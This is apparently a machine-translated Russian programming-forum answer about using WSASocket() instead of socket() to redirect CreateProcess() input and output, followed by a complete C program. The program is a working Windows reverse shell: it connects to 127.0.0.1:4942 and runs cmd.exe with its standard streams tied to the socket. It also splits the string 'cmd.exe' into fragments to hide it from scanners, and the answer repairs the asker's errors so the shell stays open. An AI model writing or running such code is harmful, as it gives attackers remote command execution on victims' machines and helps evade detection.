Существуют некоторые различия между socket()
и WSASocket()
. В частности:
по умолчанию, socket()
создает SOCKET
, который поддерживает перекрывающийся ввод-вывод, тогда как WSASocket()
позволяет вам указать, хотите ли вы, чтобы SOCKET
поддерживалПерекрытый ввод-вывод или нет. Другими словами, по умолчанию socket()
соответствует вызову WSASocket()
с флагом WSA_FLAG_OVERLAPPED
. Но для перенаправления CreateProcess()
I / O требуется HANDLE
s, которые не перекрываются. Вот почему использование socket()
не работает.
WSASocket()
позволяет создавать сокеты с использованием определенного поставщика, тогда как socket()
использует поставщика по умолчанию (обычноMicrosoft 'ы). При использовании SOCKET
напрямую для перенаправления ввода / вывода CreateProcess()
необходимо убедиться, что провайдер SOCKET
действительно поддерживает это использование. Чтобы убедиться в этом, вы должны использовать WSAEnumProtocols()
для перечисления установленных протоколов, пока не найдете тот, который поддерживает TCP и имеет флаг XP1_IFS_HANDLES
(поставщик Microsoft), а затем вы можете WSASocket()
использовать этого конкретного поставщика через его *Параметр 1029 *.
Каждый пример, который я могу найти в Интернете для использования SOCKET
для прямого перенаправления CreateProcess()
В / В, использует WSASocket()
(но не всегда WSAEnumProtocols()
). Я не видел ни одного примера использования socket()
.
Однако, если вы действительно хотите использовать socket()
, у вас есть 2 варианта:
use setsockopt(SOL_SOCKET, SO_OPENTYPE)
чтобы отключить создание перекрывающихся сокетов, указав тип SO_SYNCHRONOUS_NONALERT
. Microsoft не рекомендует эту опцию, предпочитая вместо этого использовать WSASocket()
.
использовать вместо CreatePipe()
для фактического перенаправления ввода / вывода, а затем вручную передавать данные между сокетом и каналом кактребуется чтение из SOCKET
для записи в канал и чтение из канала для записи в SOCKET
.
Тем не менее, ваш код не выполняет проверку ошибок правильно,Кроме того, если вы действительно смогли подключиться к серверу и запустить cmd.exe
, вы сразу же выходите из приложения, которое закрывает сокет. Вы должны держать сокет открытым в течение всего времени жизни cmd.exe
процесса.
Вместо этого попробуйте что-то вроде этого:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char *argv[])
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int res = WSAStartup(MAKEWORD(2,2), &wsa);
if (res != 0)
{
fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
return 1;
}
// optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
// to pass to the lpProtocolInfo parameter of WSASocket()...
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
{
res = WSAGetLastError();
fprintf(stderr, "Can't create socket. Error %d\n", res);
WSACleanup();
return 1;
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
if (res == SOCKET_ERROR)
{
res = WSAGetLastError();
fprintf(stderr, "Can't connect. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
{
res = GetLastError();
fprintf(stderr, "Can't create process. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
CloseHandle(pinfo.hThread);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
closesocket(sock);
WSACleanup();
return 0;
}